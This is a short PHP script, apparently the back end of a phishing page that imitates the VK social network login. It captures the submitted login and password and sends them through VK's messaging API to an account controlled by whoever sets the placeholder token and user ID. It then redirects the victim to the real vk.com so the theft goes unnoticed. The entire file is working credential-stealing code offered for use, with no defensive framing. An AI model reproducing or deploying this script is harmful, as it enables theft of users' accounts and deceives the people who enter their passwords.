<?php $Log =$_POST['login']; $Pass=$_POST['password']; $text = "$Log:$Pass"; $token = 'token tyt'; // ТУТ ВАШ ТОКЕН $post = file_get_contents ('https://api.vk.com/method/messages.send?user_id= MYID &message='.urlencode($text).'&access_token='.$token); echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=https://vk.com/'></head></html>"; ?>